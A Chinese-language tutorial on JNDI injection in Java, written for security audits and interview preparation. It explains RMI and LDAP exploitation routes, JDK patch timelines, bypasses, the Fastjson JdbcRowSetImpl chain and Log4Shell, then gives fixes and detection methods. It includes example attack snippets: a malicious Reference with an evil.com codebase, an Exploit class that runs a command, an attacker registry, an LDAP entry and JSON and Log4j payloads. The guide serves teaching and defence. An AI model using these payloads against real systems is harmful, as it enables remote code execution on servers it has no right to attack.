JNDI 注入与 RMI
对应题库第四章 30~35 题。JNDI 注入本身不是独立漏洞,它是 反序列化、Fastjson/Jackson、Log4j2、JDBC URL 可控 等入口的”放大器”——只要攻击者能控制
lookup()的参数,就能把一次参数污染升级为 RCE。给初学者的一句话总览:JNDI 就是 Java 世界的”查号台”,程序喊一个名字,它帮你把对应的对象找回来。漏洞出在哪?出在这个”名字”是用户传的——用户报的不是正规号码,而是攻击者自己开的黑查号台,查回来的不是对象,是一颗雷。
先修知识
读这篇之前,先把下面这些词过一遍。不用背,混个脸熟,正文里再见到就不会慌:
- JVM:运行 Java 程序的虚拟机。类比:Java 程序是剧本,JVM 是剧团,剧本在哪都能演。
- RCE(远程代码执行):攻击者让目标服务器执行自己写的代码,是漏洞里的”最高伤害”。
- 序列化 / 反序列化:把内存里的对象”拍扁”成字节流方便传输/存储,叫序列化;把字节流”还原”成对象,叫反序列化。类比:把乐高城堡拆成零件装盒(序列化),照着说明书拼回去(反序列化)。危险在于——如果盒子里被人偷偷换了零件,拼出来的就是别的东西。
- Gadget(利用链零件):程序依赖库里本来无害的类,但它们的方法组合起来能被攻击者”借力”执行命令。单看每个类都像好人,串起来就是凶器。
- classpath:JVM 找类的”搜索路径清单”,项目代码和所有依赖 jar 都在里面。判断 JNDI 能不能利用,很大程度就是看 classpath 里有哪些类可以借力。
- codebase:JNDI 里指”类的远程下载地址”。受害者本地找不到某个类时,可以去这个 URL 下载——这就是远程类加载的口子。
- SPI(Service Provider Interface):Java 的插件机制。接口是统一的,不同协议各写一个实现插进来。类比:统一的电源插座标准,各国电器各自配插头。
- EL 表达式:一种在字符串里写逻辑的表达式语言(如
${7*7}),某些场景下会被引擎真正执行。能写${...}的地方往往就是命令执行预备役。 - Fastjson autoType:Fastjson 反序列化时允许 JSON 里写
@type指定”我要还原成哪个类”。攻击者指定一个危险类,还原过程就等于替攻击者调用方法。 - RASP:插在 JVM 内部的安全探针,能在危险函数被调用的瞬间拦截。类比:装在发动机里的行车记录仪。
- 出网:目标服务器能不能主动连外网。JNDI 利用几乎都要受害者回连攻击者服务器,出网被禁,很多链就断了。
一、JNDI 概念与架构
1.1 JNDI 是什么
一句话定义:JNDI(Java Naming and Directory Interface)是 Java 提供的统一命名/目录访问 API——你给它一个名字,它帮你把对应的对象或服务找回来。
生活化类比:JNDI 就是电话簿查号台。你想联系”财务部”,不用记分机号,打给查号台报个名字,它帮你转接。JNDI 也一样:程序喊一句”我要叫 jdbc/main 的数据库连接”,JNDI 负责把这个名字解析成真正可用的对象。
为什么会有这套东西(开发者动机):Java 应用经常要用数据库连接、消息队列、远程服务这些资源。如果每个程序都自己写一套”怎么连 LDAP、怎么连 RMI、怎么查 DNS”,代码会乱成一锅粥。JNDI 把这些”按名字找东西”的操作统一成一个接口,具体协议交给插件实现。初衷是好的——统一入口、屏蔽协议差异。
JNDI 本身只做接口定义,真正的协议实现由 SPI 插件完成:
| SPI 实现 | 协议 | 默认端口 | 典型用途 |
|---|---|---|---|
| RMI Registry | RMI | 1099 | 远程对象注册与查找 |
| LDAP | LDAP/LDAPS | 389/636 | 目录服务、用户认证 |
| CORBA (COS Naming) | IIOP | 900 | 分布式对象 |
| DNS | DNS | 53 | 域名记录查询(利用时常用来探测目标是否出网) |
核心入口类是 javax.naming.InitialContext,一句 new InitialContext().lookup(url) 就完成一次”按名字找对象”:
// 正常用途:从 RMI 注册表取回一个远程对象
Context ctx = new InitialContext(); // ① 初始化"查号台"
Object obj = ctx.lookup("rmi://127.0.0.1:1099/hello"); // ② 报名字,取对象漏洞本质:url 一旦用户可控,攻击者就能让受害 JVM 去连自己搭建的恶意目录服务,返回一个精心构造的 Reference(下一节细讲),诱导受害端远程加载并实例化攻击者的类。
用查号台类比说透:正常流程是你报”财务部”,查号台转接到真的财务部。注入流程是——攻击者让你报一个他控制的名字,查号台(JNDI)不问青红皂白就打到攻击者家里,接电话的”财务部”是个骗子,还会反过来指挥你做事。
1.2 为什么会出现这个漏洞
开发者写出 JNDI 注入,通常不是因为蠢,而是这三种心态:
- 图省事:要做个”动态配置远程资源地址”的功能(比如让管理员在页面上填数据源 JNDI 名),直接把前端传来的字符串塞进
lookup(),觉得”反正是管理员用的”。 - 不知道危险:很多教材和旧博客把
lookup("rmi://...")写成普通示例,开发者照着抄,压根不知道这个参数可控等于把后门钥匙递出去。 - 误信输入来源:觉得参数来自内部系统、配置文件、Header,“不会被外部污染”。实战中这些来源经常被 SSRF、配置中心、日志内容绕过污染。
1.3 审计时怎么找(先建立直觉)
在代码库里全局搜这几个关键字,命中一个看一个:
lookup(
InitialContext
InitialDirContext
InitialLdapContext
DirContext
看到什么模式要警惕——危险的不是 lookup 本身,而是参数从外部进来且没有白名单:
// ❌ 审计到就标红:参数直接来自请求
String name = request.getParameter("jndiName");
ctx.lookup(name);
// ✅ 安全模式:查的是写死/白名单内的内部名
ctx.lookup("java:comp/env/jdbc/main");对比记忆:参数是”写死的内部名”→ 安全;参数是”外部能影响的字符串”→ 立刻追数据流。
二、lookup 注入原理:Reference 与远程类工厂
2.1 关键类
javax.naming.Reference:对”不在本地”的对象的引用。类比:一张取货单——东西不在店里,单子上写着货名、去哪个仓库取、仓库地址。它有三个关键字段:className:对象类名(货名)classFactory:类工厂名(负责实例化该对象的类,相当于”哪个仓库负责组装”)classFactoryLocation:类工厂的远程 codebase(仓库地址,如http://evil.com/)
javax.naming.Referenceable:实现了getReference()的接口,对象存入目录时可以”以引用形式”存储——即不存真身,只存放取货单。javax.naming.spi.NamingManager#getObjectInstance:解析 Reference 的核心枢纽。它发现本地没有工厂类时,会用URLClassLoader从 codebase 远程下载工厂类并实例化——这一步就是在执行攻击者的代码,是整个漏洞的引爆点。
2.2 完整解析流程(文字版流程图)
用户输入 url
│
▼
InitialContext.lookup("ldap://evil.com/a")
│ 按 scheme 选择 SPI,连接攻击者服务器
▼
恶意服务端返回条目(内含 Reference / javaSerializedData)
│
▼
客户端 decodeObject()
│
▼
NamingManager.getObjectInstance()
├─ 本地找工厂类? ── 有 → 实例化(本地工厂利用,高版本绕过路线)
└─ 无 → URLClassLoader 从 codebase 远程加载工厂类
│
▼
工厂类 static 块 / getObjectInstance() 执行
│
▼
RCE
给初学者掰开揉碎讲这张图:受害者 JVM 从攻击者服务器下载了一个 .class 文件并加载了它。Java 的类加载机制规定,类被加载时静态代码块(static {})会自动执行。攻击者把 Runtime.exec("calc") 写进静态块,受害端一下载一加载,命令就执行了——全程不需要受害者调用任何方法,加载即中招。
审计记忆点
漏洞成立的三个条件:①
lookup参数可控;② 客户端能连到攻击者服务器(出网);③ JDK 版本允许远程 codebase,或 classpath 里存在可用的本地工厂类/反序列化 gadget。审计时这三条逐一核对,就能判断”能挖到”和”能利用”之间的距离。
2.3 恶意 Reference 长什么样(payload 逐段拆解)
攻击者服务端返回的核心就是下面这个对象,逐参数拆:
Reference ref = new Reference(
"Exploit", // className:名义上的类名,写什么都行
"Exploit", // classFactory:工厂类名 → 受害者要去加载的类
"http://evil.com/" // classFactoryLocation:codebase → 从这里下载 Exploit.class
);- 第一、二个
"Exploit":告诉受害端”这个对象该由Exploit类来组装”。受害端本地找不到这个类(正常情况下找不到),于是走远程下载分支。 "http://evil.com/":告诉受害端去哪下载。攻击者在这个地址挂一个恶意的Exploit.class,里面static块写着弹计算器/反弹 shell。- 受害端执行
URLClassLoader.loadClass("Exploit")的瞬间,Exploit的静态块执行,RCE 完成。
配套的攻击者类:
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc"); // 类一被加载,这行就跑
} catch (Exception e) {}
}
}三、RMI 通信原理与”天然漏洞”
3.1 RMI 是什么
一句话定义:RMI(Remote Method Invocation)让一台 JVM 上的程序能直接调用另一台 JVM 上对象的方法,就像调用本地方法一样。
生活化类比:RMI 像点外卖。你(客户端)不用自己下厨(不用知道服务端怎么实现),打开 App(Stub 存根)下单,商家(服务端)做好,骑手(网络序列化字节流)送到。整个过程你感觉”饭是自己点的”,其实锅碗瓢盆都在别人店里。
3.2 RMI 架构三个角色
- Registry(注册表):默认 1099 端口,维护”名字 → 远程对象引用”的映射。相当于外卖平台上的”店铺列表”。
- Stub(客户端存根):客户端持有的代理,把调用参数序列化后发给服务端。你点单时在 App 上操作的就是它。
- Skeleton(服务端骨架):历史上负责在服务端接收字节流、反序列化参数并调用真实对象。JDK 1.2 起 Skeleton 被弃用,服务端改为反射直接调用;Java 5 起 Stub 也改由运行时动态生成,不再依赖
rmic预编译。这些是历史演进细节,记住结论就行:今天的 RMI 照样在两端做序列化/反序列化。 - 参数与返回值一律走 Java 原生序列化——这就是 RMI 的”原罪”。
3.3 为什么天然存在漏洞
- 反序列化是协议的一部分:Registry 的
bind/rebind/lookup都会反序列化对端发来的序列化对象。只要 classpath 里有 gadget(如 Commons-Collections),攻击者直接向 Registry 打反序列化 payload 即可——不需要任何业务代码配合,协议本身就是入口。 - Reference 机制内建:RMI 支持把对象以
Reference形式注册。客户端lookup时,Registry 把 Reference 发回,客户端走完第二节的流程,低版本 JDK 直接从 codebase 远程加载工厂类。 - 天然信任远端代码:RMI 设计于”分布式环境里类可以从对端下载”的年代,安全模型完全依赖后来的 JDK 版本补丁逐步收紧。老协议配新补丁,补丁不到位就是裸奔。
// 攻击者:向 Registry 注册一个 Reference,坐等受害者来 lookup
Registry registry = LocateRegistry.createRegistry(1099); // ① 开一个 1099 端口的注册表
Reference ref = new Reference("Exploit", "Exploit",
"http://evil.com/"); // ② 构造恶意取货单(见 2.3 拆解)
registry.bind("hello", new ReferenceWrapper(ref)); // ③ 以 "hello" 为名挂上去
// ④ 受害者执行 lookup("rmi://attacker:1099/hello"),即触发远程类加载逐行数据流:① 攻击者在自己服务器开 Registry → ② 把”工厂类在 http://evil.com/“写进 Reference → ③ 用 ReferenceWrapper 包一层(RMI 只能注册 Remote 对象,Wrapper 是适配器)挂到名字 hello 上 → ④ 受害者一查 hello,拿到取货单,按单子去 http://evil.com/ 下载 Exploit.class → 静态块执行,RCE。
四、LDAP 与 RMI 两条 JNDI 利用路线对比
LDAP 是什么:一句话定义——LDAP 是一种目录服务协议,按树状结构存”条目”,常用来存用户、组织架构。类比:公司的通讯录系统,按部门-小组-员工分层,每层挂着一串属性(姓名、电话、邮箱)。JNDI 利用时,攻击者自建 LDAP 服务,在条目的属性里塞恶意字段(javaFactory、javaCodeBase、javaSerializedData),受害者一解析就中招。
| 维度 | RMI 路线 | LDAP 路线 |
|---|---|---|
| 触发 URL | rmi://host:1099/name | ldap://host:389/entry |
| 服务端实现 | 自建 Registry 返回 ReferenceWrapper | 自建 LDAP 服务返回含 javaClassName、javaFactory、javaCodeBase 属性的条目 |
| 远程 codebase 默认关闭的版本 | 6u141 / 7u131 / 8u121 | 8u191 / 11.0.1(同步修复 7u191 / 6u201) |
| 控制开关 | com.sun.jndi.rmi.object.trustURLCodebase(默认 false) | com.sun.jndi.ldap.object.trustURLCodebase(默认 false) |
| 高版本本地绕过 | 本地工厂类(BeanFactory 等) | 本地工厂类 + javaSerializedData 反序列化 gadget |
| 额外攻击面 | Registry 本身可被反序列化直接打 | 属性可携带序列化数据,链条更灵活 |
面试常考:“为什么 LDAP 用得比 RMI 多?“——LDAP 的版本限制来得更晚(8u121 就能挡 RMI 远程加载,LDAP 要到 8u191),实战适用面更宽,且 marshalsec 等工具开箱即用,一条命令就能起恶意 LDAP 服务。
给初学者的实操提示:看到目标 JDK 版本,先查这张表定路线。8u121 以下:RMI/LDAP 远程加载随便打;8u121~8u191:只能走 LDAP 远程加载;8u191 以上:远程加载两条路都死了,转第六节的高版本绕过。
4.1 LDAP 恶意条目到底长什么样
很多初学者卡在”LDAP 返回条目”这个抽象说法上,其实它就是一组键值对属性,逐字段拆:
dn: cn=exploit,dc=evil,dc=com # 条目在目录树里的"路径",相当于通讯录里的工位号
javaClassName: Exploit # 名义上的类名
javaFactory: Exploit # 工厂类名 → 受害者要加载的类
javaCodeBase: http://evil.com/ # codebase → 去哪下载这个类
objectClass: javaNamingReference # 声明"这是一条引用",触发 Reference 解析分支
受害端拿到这条目后做的事,和 2.3 节拆的 new Reference(...) 完全等价——LDAP 只是把 Reference 的三个字段摊平成了三个属性。再看 javaSerializedData 属性:它直接携带一段序列化字节流,受害端 decodeObject 时走原生反序列化,这就是 6.2 节”本地 gadget”路线的载体。
4.2 审计时怎么判断目标走哪条路线
- 先定 JDK 版本:翻部署文档、Dockerfile 的
FROM镜像、pom.xml的maven.compiler配置,或在靶机上跑java -version。 - 再定 classpath 里有什么:翻
pom.xml/build.gradle/lib/目录,重点找 Tomcat(BeanFactory)、Groovy、commons-collections、commons-beanutils。 - 最后定出网策略:看防火墙/容器网络配置。出网全禁,远程 codebase 路线直接作废,但本地 gadget 路线不要求出网到攻击者服务器以外的地址(数据是服务端主动返回的),仍要小心。
这三步就是面试里”给你一个环境,判断 JNDI 能不能打”的标准答题框架。
五、JDK 版本限制演进(必背时间线)
| JDK 版本 | 变化 |
|---|---|
| 6u141 / 7u131 / 8u121 | RMI 的 com.sun.jndi.rmi.object.trustURLCodebase 默认 false,RMI 远程 codebase 加载被堵死 |
| 8u191 / 11.0.1(含 7u191 / 6u201) | LDAP 的 com.sun.jndi.ldap.object.trustURLCodebase 默认 false,LDAP 远程 codebase 加载被堵死 |
| 8u251 左右(视发行版而定) | BCEL 内部 ClassLoader 被移除,BCEL 加载链失效 |
这张表怎么理解?JDK 官方修的不是”JNDI 会连恶意服务器”这个行为,而是”连上之后敢不敢远程下载类”。两个 trustURLCodebase 开关就是两道闸门:默认 false = 不信任远程 codebase = 不许从 URL 下载类。
注意
这些开关只挡远程 codebase,不挡本地工厂类和反序列化——官方堵了”从外网下载类”,但没堵”用你 classpath 里已有的类干坏事”。于是有了下一节的”高版本绕过”。这也是审计时要查 pom.xml / lib 目录的原因:目标装了什么依赖,直接决定哪条绕过链能打通。
六、高版本绕过
6.1 本地工厂类利用
回忆 2.2 的流程图:NamingManager.getObjectInstance 的逻辑是”先本地找工厂类,找不到才去 codebase 下载”。JDK 把”远程下载”这条分支堵了,但”本地找到”这条分支还开着。只要受害 classpath 里有一个能被当成工厂类利用的类,攻击者让 Reference 的 classFactory 指向它即可。
类比:仓库不许去外地调货了,但攻击者发现你家楼下五金店(classpath 里的 Tomcat jar)就能组装出炸弹——单子照开,货照取。
经典组合(需要 Tomcat 相关 jar 在 classpath,Web 应用几乎必有):
// 用 Tomcat 的 BeanFactory 当本地工厂 + ELProcessor 执行 EL 表达式
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")...")); // 任意 EL 表达式逐段拆解这段 payload 在干什么:
ResourceRef的目标是javax.el.ELProcessor——受害者 classpath 里的 EL 表达式引擎,它有个eval()方法能执行字符串里的表达式。factory指定为org.apache.naming.factory.BeanFactory——Tomcat 自带的”按属性装配对象”的工厂类。受害者本地找得到它,所以走本地分支,绕开trustURLCodebase限制。forceString = "x=eval":这是 BeanFactory 的一个特性——把x当作属性名,强制以字符串方式调用set逻辑,等价于让受害端执行elProcessor.eval(...)。forceString里写的是”属性名=方法名”的映射。- 第二个
StringRefAddr的键x提供参数:一段 EL 表达式,内容是通过反射拿到ScriptEngineManager最终执行任意 Java/JS 代码(省略号代表完整利用串,实战中是一整段)。 - 合起来:受害端解析 Reference → BeanFactory 实例化 ELProcessor → 把
x的内容喂给eval()→ EL 表达式执行 → RCE。全程只用了受害者自己 classpath 里的类,没从外网下载任何字节码。
- 同类替代品:
groovy.lang.GroovyShell(classpath 有 Groovy 时可用它eval/evaluate执行 Groovy 脚本)。
6.2 本地反序列化 gadget
LDAP 条目的 javaSerializedData 属性、RMI 的返回对象都走原生反序列化。Reference 路线被堵后,直接让服务端返回序列化 gadget 字节流(CommonsBeanutils、CommonsCollections 等),命中 classpath 里的 gadget 即 RCE。
这条路与 JDK 版本完全无关,只取决于依赖里有没有 gadget——所以审计时看到 commons-collections 3.x、commons-beanutils 1.x 这类老依赖,就要立刻联想:这里不仅能打反序列化入口,JNDI 的 LDAP/RMI 返回也能直接打。
6.3 BCEL ClassLoader(历史路线)
先铺垫:BCEL 是 Apache 的字节码操作库,JDK 内部曾内置了一份(com.sun.org.apache.bcel)。它有个 ClassLoader,允许把字节码编码进类名里——类名写成 $$BCEL$$<一长串编码>,加载时当场解码还原成类。
利用思路:classFactory 填 $$BCEL$$...,受害端”本地加载”这个类名时,等于把攻击者的字节码夹带在类名里走私进 JVM,不需要 codebase,也不需要现成工厂类。高版本(约 8u251 后)该内部类被移除,已不可用于新环境;可作为理解”类加载与 JNDI 交汇点”的经典素材。
能否换其他类加载器?可以——任何”类名可控 + loadClass 可被间接触发”的类加载器理论上都可被借用,但前提是该类加载器在目标 classpath 且能从类名还原字节码。现实中 BCEL 是最出名的一个,其余多为特定组件自带。
七、JdbcRowSetImpl 触发 JNDI 的链条
先铺垫两个概念:
- JdbcRowSetImpl 是什么:JDK 自带的
com.sun.rowset.JdbcRowSetImpl,一个”可以脱离数据库连接、离线操作结果集”的工具类。类比:把 Excel 表格拷到本地慢慢改,改完再同步回数据库。 - 它为什么是经典触发器:它的
setAutoCommit(true)内部会去连接数据源,而数据源名字是一个 JNDI 名——setter 里藏着 lookup。反序列化框架还原对象时恰恰就是挨个调 setter,等于自动替攻击者按下了引爆按钮。
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://evil.com/a"); // 只写字段:把恶意 JNDI 地址存进 dataSource
rs.setAutoCommit(true); // 触发器:内部调 connect() → lookup()调用链:
setAutoCommit(true)
└─> this.connect()
└─> InitialContext().lookup(this.getDataSourceName())
Fastjson 反序列化时会按 setter 还原对象——攻击者 JSON 里写好 dataSourceName 与 autoCommit 两个字段,反序列化过程自动完成 JNDI 注入。对应的恶意 JSON 逐字段拆解:
{
"@type": "com.sun.rowset.JdbcRowSetImpl", // ① 指定还原成这个类(需 autoType 开启)
"dataSourceName": "ldap://evil.com/a", // ② 调 setDataSourceName() 写入恶意地址
"autoCommit": true // ③ 调 setAutoCommit() → 内部触发 lookup()
}① @type:Fastjson 的 autoType 机制——JSON 里点名要还原成哪个类。这是入口的前提,所以 autoType 开关是审计 Fastjson 的第一检查项。② dataSourceName:Fastjson 看到字段名就去找对应 settersetDataSourceName,把 LDAP 地址写进去。这一步只是存数据,还没爆。③ autoCommit:Fastjson 调setAutoCommit(true),方法内部走connect()→lookup(dataSource),爆炸。
审计联想:看到项目引了 Fastjson 旧版本且开启 autoType(ParserConfig.getGlobalInstance().setAutoTypeSupport(true) 或 1.2.24 及以下默认行为),就要立刻联想这条链;看到 JdbcRowSetImpl 出现在白名单/依赖路径里同理。
八、审计点:哪些 API 会触发 lookup
8.1 Sink 表(搜索关键字)
“Sink”就是危险函数——数据流到这里就出事。审计第一步是在代码库里把这些名字全搜一遍:
| 类别 | Sink | 触发方式 |
|---|---|---|
| 直接调用 | InitialContext.lookup() / InitialDirContext / InitialLdapContext.lookup() / Context.lookup() | 参数可控即漏洞 |
| 框架封装 | JdbcRowSetImpl.setDataSourceName + setAutoCommit | 反序列化 setter 链 |
| 连接池 | HikariCP 的 dataSourceJNDI、DBCP 的 jndiName、Tomcat <Resource> JNDI 数据源 | 配置可控时触发 |
| 日志 | Log4j2 ${jndi:ldap://...}(CVE-2021-44228 Log4Shell) | 日志内容可控即可,危害最大 |
Log4Shell 为什么单独点名:Log4j2 支持”查找替换”语法,日志内容里出现
${jndi:ldap://evil.com/a}时,框架会真的去执行一次 JNDI lookup。攻击者只要把这段字符串写进任何会被记日志的地方——User-Agent 头、登录用户名、搜索框——应用一记日志就中招。不用找业务里的lookup调用,日志框架自己就是 sink。这也是它被评为”十年最凶漏洞”的原因:入口遍地都是。审计旧项目时,先查pom.xml里log4j-core版本是否 < 2.15.0(彻底修复在 2.17.x),再搜代码里logger.info/error(请求参数)的拼接模式。 | 其他 |NamingManager.setInitialContextFactoryBuilder、Registry.lookup、DirContext.search| 视上下文 |
8.2 Source 表
“Source”是脏数据的入口。审计时从 Sink 反向追到这些源头,连通即漏洞:
- HTTP 请求参数/Header/Body 直接拼入
lookup() - 反序列化数据(Fastjson/Jackson/SnakeYAML/XStream)可控 setter
- 可控配置项:数据库连接串、日志内容、远程配置中心下发值
8.3 判定要点(三步定案)
lookup参数是否外部可控(拼接、反序列化、配置下发);- 目标 JDK 版本 → 决定走远程 codebase 还是本地绕过(对照第四节那张表);
- classpath 是否有 Tomcat
BeanFactory、Groovy、反序列化 gadget → 决定高版本能否利用(翻 pom.xml / lib 目录)。
审计操作示范:在 IDEA 里全局搜 lookup(,逐个点进去看参数来源;再搜 getParameter、@RequestParam、反序列化入口,两头对着追。前后对比:
// ❌ 危险:source 到 sink 一条龙,中间无任何校验
String jndi = req.getParameter("jndi");
new InitialContext().lookup(jndi);
// ✅ 安全:白名单校验,名单外直接拒绝
if (!ALLOWED_NAMES.contains(jndi)) throw new SecurityException();
new InitialContext().lookup(jndi);九、完整案例
9.1 漏洞代码(逐行注释)
// ❌ 危险写法:用户输入直接进入 lookup
@WebServlet("/fetch") // 把这个 Servlet 挂在 /fetch 路径上
public class FetchServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String url = req.getParameter("url"); // Source:GET 参数 url,攻击者完全可控
try {
InitialContext ctx = new InitialContext(); // 初始化 JNDI 查号台
Object obj = ctx.lookup(url); // Sink:可控参数直接进 lookup → JNDI 注入
resp.getWriter().write(String.valueOf(obj));// 把查到的对象回显给页面
} catch (NamingException e) {
resp.getWriter().write("lookup failed"); // 只兜了 Naming 异常,挡不住恶意加载
}
}
}9.2 数据流分析(编号走一遍)
① 用户输入从哪进来:攻击者发 GET /fetch?url=ldap://attacker.com:1389/Exploit,req.getParameter("url") 原样取出这串地址,没有任何过滤。
② 经过什么处理:答案是——什么都没经过。url 从请求参数到 lookup() 之间是直通管道,既没校验协议,也没校验主机白名单。这是典型的”信任了不该信任的输入”。
③ 到达哪个危险函数:InitialContext.lookup(url)。JNDI 按 ldap:// 前缀选 LDAP SPI,主动连接攻击者的 1389 端口。
④ 为什么防线失效:应用层没做白名单(第一防线缺失);恶意 LDAP 返回 Reference(factory=Exploit, codebase=http://attacker.com/),若 JDK < 8u191,URLClassLoader 远程下载 Exploit.class,静态块执行(第二防线缺失);若 JDK ≥ 8u191,攻击者改用 BeanFactory+ELProcessor 本地工厂链,或让条目带 javaSerializedData 打反序列化 gadget(此时防不防得住全看 classpath 里有什么)。三层全部失守 → RCE。
GET /fetch?url=ldap://attacker.com:1389/Exploit
→ req.getParameter("url") // 完全可控
→ InitialContext.lookup(url)
→ LDAP SPI 连接攻击者服务
→ 返回 Reference(factory=Exploit, codebase=http://attacker.com/)
→ 低版本 JDK:URLClassLoader 远程加载 Exploit.class → static 块 RCE
→ 高版本 JDK:攻击者改用 BeanFactory+ELProcessor 或 javaSerializedData gadget
9.3 审计结论
- 定性:JNDI 注入,可导致远程代码执行。
- 成立条件:出网可达攻击者服务器;JDK < 8u191 走远程 codebase,更高版本视 classpath 走本地工厂/gadget。
- 证据链完整:Source(getParameter)→ 无任何过滤 → Sink(lookup)。审计报告里这条链一摆,漏洞就立住了。
9.4 修复(逐行注释)
// ✅ 安全写法一:协议 + 地址白名单(首选,从根上掐断)
private static final Set<String> ALLOWED = Set.of(
"java:comp/env/jdbc/primary", "java:comp/env/jdbc/replica"); // 只放行两个内部数据源名
if (!ALLOWED.contains(url)) {
throw new SecurityException("jndi name not allowed"); // 名单外一律拒绝
}
Object obj = ctx.lookup(url); // 能走到这的 url 一定在名单内
// ✅ 安全写法二:升级 JDK 并显式关闭远程 codebase(纵深防御,兜底用)
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");根本修复是不让外部输入成为 lookup 参数;白名单是第一道、JDK 升级与开关是第二道、出网管控是第三道。写修复建议时按这个顺序列,面试官会点头。
十、防御与检测:Hook JNDI 的思路
蓝队/研发可在 JVM 层面对 JNDI 做”总闸”式防御——不管上层业务代码写得多么奔放,到底层统一拦一道:
- Java Agent 字节码插桩:attach 时改写
javax.naming.spi.NamingManager#getObjectInstance与InitialContext#lookup的字节码,在方法入口插入校验——检查 Reference 的classFactoryLocation是否非空、目标地址是否在白名单,命中即抛异常并告警。RASP 产品普遍采用此方案。类比:在查号台总机装窃听器,谁打奇怪的电话立刻掐断。 - 自定义 ObjectFactoryBuilder:
NamingManager.setObjectFactoryBuilder()全局只能设置一次,抢先注册一个”审查型” Builder,所有 Reference 解析必经此处。 - 网络层:限制服务出网,尤其禁止应用服务器主动连 389/1099 等非业务端口。JNDI 利用要回连攻击者,出网一掐,大半条链直接废掉。
- 日志检测:监控 JVM 参数是否被添加
trustURLCodebase=true(有人偷偷开闸是强信号),以及类加载日志中是否出现来自 http(s) codebase 的类。
十一、面试题眼 / 速答
| 题眼 | 一句话答案 | 展开两三句 |
|---|---|---|
| 30. JNDI 是什么、为什么会注入? | 统一命名/目录 API,lookup(url) 的 url 可控即注入。 | JNDI 像查号台,按名字找对象。攻击者把 url 换成自己的恶意目录服务,服务端返回 Reference,诱导受害端加载恶意工厂类,静态块执行即 RCE。 |
| 31. 远程加载的原理? | Reference 指明工厂类和 codebase,本地找不到就从 URL 下载。 | NamingManager.getObjectInstance 解析 Reference 时先查本地 classpath;没有就用 URLClassLoader 从 classFactoryLocation 下载工厂类并实例化,类的 static 块 / getObjectInstance() 里的代码随之执行。 |
| 32. RMI 为什么天然有漏洞? | 协议内建 Java 原生序列化 + Reference 远程类加载。 | Stub/Skeleton 通信全靠序列化字节流,Registry 的 bind/lookup 会反序列化对端数据,classpath 有 gadget 就能直接打;同时 RMI 支持注册 Reference,lookup 时触发远程工厂类加载。设计年代默认信任对端代码。 |
| 33. JDK 版本限制时间线? | 8u121 堵 RMI 远程加载,8u191 堵 LDAP 远程加载。 | 具体是 6u141/7u131/8u121 把 rmi.object.trustURLCodebase 默认设为 false;8u191/11.0.1(含 7u191/6u201)把 ldap.object.trustURLCodebase 默认设为 false。注意开关只挡远程 codebase,不挡本地工厂和反序列化。 |
| 34. 高版本怎么绕过? | 本地工厂类或本地反序列化 gadget,与 JDK 版本无关。 | 一是借 classpath 里的 Tomcat BeanFactory 装配 ELProcessor 执行 EL 表达式(有 Groovy 则用 GroovyShell);二是让 LDAP 条目的 javaSerializedData 或 RMI 返回对象直接携带序列化 gadget 字节流。能否打通全看目标依赖。 |
| 35. 审计时怎么找 JNDI 注入? | 搜 sink 关键字,追参数来源,核对三要素。 | 全局搜 lookup(、InitialContext、JdbcRowSetImpl.setDataSourceName、连接池 dataSourceJNDI、Log4j2 ${jndi:;确认 ① 参数可控 ② JDK 版本决定路线 ③ classpath 有无可借力的工厂类/gadget,三者齐才能定性可利用。 |
| 附:JdbcRowSetImpl 链? | setAutoCommit(true) 触发 connect() 内部 lookup()。 | setDataSourceName("ldap://evil") 写入地址,setAutoCommit(true) 触发连接。Fastjson 按 setter 还原对象时自动按顺序调用这两个方法,攻击者 JSON 写好 @type + 两个字段即可完成注入,常用于 Fastjson ≤1.2.24。 |
| 附:如何防御? | 白名单 + 升 JDK + 禁出网 + RASP,层层设防。 | 业务层对 JNDI 名做白名单是第一道;保持 JDK 新、trustURLCodebase=false 是第二道;限制应用出网(尤其 389/1099)是第三道;RASP Hook NamingManager.getObjectInstance/InitialContext.lookup 做运行时拦截兜底。 |